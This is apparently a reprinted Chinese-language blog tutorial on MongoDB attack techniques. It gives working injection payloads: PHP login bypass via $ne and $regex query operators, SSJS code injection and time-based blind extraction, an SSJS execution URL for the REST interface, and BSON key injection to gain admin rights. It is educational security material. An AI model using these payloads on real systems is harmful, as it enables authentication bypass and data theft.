开发人员如今在越来越多地使用NoSQL数据库来应对各种应用。与SQL注入相比,NoSQL攻击方法知之甚少,不太常见。本文重点介绍针对于NoSQL数据库的攻击,通过MongoDB漏洞攻击Web应用程序。
初识 MongoDB
在介绍 MongoDB 漏洞之前,我们应该先了解这个数据库。在各大知名的web项目中都有应用 NoSQL 数据库,其中 MongoDB 是时下最流行的NoSQL数据库。此外,Microsoft 在其云平台 Azure 上提供 MongoDB 数据库,这说明该数据库很快将被应用于企业软件。
简而言之,MongoDB 是一个非常高性能(它的主要优点),可扩展(如果需要,可以在几个服务器上轻松扩展)、开源(可以由大公司调整)的 NoSQL 数据库。MongoDB 拥有属于自己的请求语言,但不支持关系型SQL语言的请求。MongoDB是典型的key-value数据库,没有table概念。
下载MongoDB安装工具包,可以看到两个可执行文件:Mongo和mongod。 Mongod是数据库的server端主程序,用于存储数据并处理请求。而Mongo是一个用C ++和JS(V8)编写的官方客户端。
MongoDB的安装与使用
安装过程不再赘述,我们只关注更加有趣的部分。首先,我们来看一下REST接口。 它是一个Web界面,默认端口28017,可通过浏览器远程控制其数据库。使用这个DBMS选项,我们发现了几个漏洞:两个存储型XSS,未公开的SSJS(Server Side JavaScript,比如node.js)命令执行和多个CSRF漏洞。下图演示了这个REST界面:
我们将详细说明上述漏洞。这些字段客户端和日志有两个存储的XSS漏洞,这意味着使用HTML代码向数据库发出任何请求,这段代码将被写入到REST界面的页面的源代码中,并将在访问此页面的人的浏览器中执行。这些漏洞使以下攻击成为可能:
1.发送带有SCRIPT和JS地址的请求。
2.管理员在浏览器中打开Web界面,并在此浏览器中执行JS代码。
3.通过JSONP脚本从远程服务器请求执行命令。
4.脚本使用参数未验证的SSJS代码执行命令。
5.结果发送到我们的远程主机,写入日志。
至于参数未验证的ssjs远程代码执行,我们已经写了一个模板,可以根据需要进行修改。
http://vuln-host:28017/admin/$cmd/?filter_eval=function(){re- turn db.version() }&limit=1
$ cmd在这个例子中是一个可以自定义的空函数,大家知道了吗?:)
玩转MongoDB驱动
假设有一个搭建好的Apache+PHP+MongoDB的web服务器和一个有漏洞的PHP脚本。
这个脚本的主要片段如下:
$q = array(“name” => $_GET[‘login’], “password” => $_ GET[‘password’]);
$cursor = $collection->findOne($q);
当数据被接收时,该脚本向MongoDB数据库发出请求。如果输入的用户密码正确,那么它会接收,并输出用户的数据。看起来如下:
echo 'Name: ' . $cursor['name']; echo 'Password: ' . $cursor['password'];
假设已经发送了以下参数(True):
?login=admin&password=pa77w0rd
那么对数据库的请求将如下所示:
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
由于数据库包含密码为pa77w0rd的用户管理员,所以此时数据库响应为True;如果使用其他名称或密码,那么响应将不会返回(False)。
除了语法的差异,MongoDB和其他数据库大致相同。因此,admin账户的信息需要隐藏起来,我们将输出信息中关于admin的数据筛选掉:
db.items.find({"name" :{$ne : "admin"}})
我想你已经有了如何欺骗这个登录验证的想法。我们从理论到实践。首先创建一个请求,这个请求将符合以下条件:密码不是1,用户是admin。
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
有关上述帐户的信息作为回应:
{ "_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin", "password" : "pa77w0rd" }
在PHP中将如下所示:
$q = array("name" => "admin", "password" => array("/$ne" => "1"));
只需要将密码变量声明为一个数组:
?login=admin&password[$ne]=1
因此,输出admin数据(True)。 这个问题可以通过函数is_array()将输入参数转变为字符串类型来解决。
注意正则表达式可以并且应该用在诸如findOne()和find()这样的函数中。使用的例子:
db.items.find({name: {$regex: "^y"}})
该请求将找到以字母y开头的用户。 假设在脚本中使用了对数据库的以下请求:
$cursor1=$collection->find(array("login"=>$user, "pass" => $pass));
从数据库接收到的数据将以下面的结构显示在页面上:
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>';
正则表达式可以帮助我们收集到我们想要的所有数据 ,我们所要做的仅仅是将收集到信息转换为脚本所需要的数据类型:
?login[$regex]=^&password[$regex]=^
我们将收到以下回复:
id: 1 login: Admin pass: parol id: 4 login: user2 pass: godloveman id: 5 login: user3 pass: thepolice=
此外还有另一种方法来利用该漏洞:
?login[$not][$type]=1&password[$not][$type]=1
在这种情况下输出如下:
login: Admin pass: parol id: 4 login: user2 pass: godloveman id: 5 login: user3 pass: thepolice
该算法适用于find()和findOne()。
SSJS请求注入漏洞分析
如果MongoDB和PHP一起使用,存在一个与服务器发出的SSJS请求有关的典型漏洞。
假设我们有一段存在漏洞的代码,它将用户数据注册到数据库中,然后在操作过程中输出某些字段的值。 类似于留言簿的功能。
代码如下所示:
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs});
一个重要的条件是变量$ pass和$ login直接从数组$ _GET获取,并且不对$ _GET获取的信息进行过滤:
$login = $_GET['login']; $pass = $_GET['password'];
以下是执行此请求并从数据库输出数据的代码:
$db->execute($q); $cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){ echo "Your login:".$obj2['login']; echo "<br>Your password:".$obj2['pass']; }
测试脚本准备好了,接下来就是练习。 发送测试数据:
?login=user&password=password
接收以下数据作为回应:
Your login: user Your password: password
我们试图利用这个漏洞,从最简单的引号开始:
?login=user&password=';
,SSJS代码由于出错而未被执行。但是,如果发送以下数据,所有内容都会发生变化:
/?login=user&password=1'; var a = '1
接下来将代码改写,使页面能显示代码的执行结果:
?login=user&password=1'; var loginn = db.version(); var b='
当执行上述代码后,JS代码变成了如下的形式:
$q = ?function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, log- in : loginn, pass : passs}); }?
现在我们可以通过这个漏洞来阅读数据库其他的记录:
/?login=user&password= '; var loginn = tojson(db.members. find()[0]); var b='2
让我们来详细的了解一下:
1. 已知的函数结构可以用于重写变量并执行任意代码。 2. tojson()函数有助于从数据库中获得完整的响应。 3. 最重要的部分是db.members.find()[0],其中members是一个表,而find()是一个输出所有记录的函数。 结尾处的数组表示我们处理的记录数。 通过爆破结尾处数组的值,我们可以从数据库中收到记录。
当然,代码执行后可能会没有输出,这时我们需要基于时间的注入方法,这种技术利用服务器响应延迟来接收数据。 举一个例子:
?login=user&password='; if(db.version()>"2") { sleep(10000); exit;} var loginn =1; var b='2
这个请求可以让我们知道数据库版本。 如果超过2(例如2.0.4),那么我们的代码将被执行,并且服务器会以延迟响应。
嗅探MongoDB
众所周知,MongoDB允许创建数据库的特殊用户。 有关数据库中用户的信息存储在表db.system.users中。
我们对上述表中用户名字段和密码字段感兴趣。 用户列包含user login,pwd – MD5 string?%login%:mongo:%password%?其中login和password包含用户的登录名,哈希值,密钥和密码。
所有数据都是未加密传输的,并且通过劫持数据包可以获取用户名和密码的特定数据。 在MongoDB服务器上认证时,需要劫持客户端发送的随机数,登录名和密钥。 包含以下形式的MD5字符串:
%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)。
编写软件自动劫持数据并不困难,但会暴力劫持登录名和密码的后果却十分严重。
BSON数据的漏洞分析
现在让我们来研究一下基于BSON格式数据的漏洞。
BSON(二进制JavaScript对象符号)是一种主要用作存储各种数据(Bool,int,string等)的计算机数据交换格式。 现假设存在一个有两条记录的表:
> db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
还有一个参数存在注入点的数据库请求:
>db.test.insert({ "name" : "noadmin2", "isadmin" : false})
只需将设计好的BSON对象插入列名称即可:
>db.test.insert({"name/x16/x00/x08isadmin/x00/x01/x00/ x00/x00/x00/x00" : "noadmin2", "isadmin" : false})
isadmin 之前 0×08 指定了数据类型为布尔值,0×01将对象值设置为true,而不是默认分配。
现在看看表中有什么:
> db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
Isadmin的false已经变成了true!
在现实生活中可能会遇到上述的攻击和漏洞,我们不仅应该考虑在MongoDB中运行的安全代码,还要考虑DBMS本身的漏洞。希望通过本文的介绍能让大家了解到NoSQL数据库也不是安全无忧的数据库。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/54814.html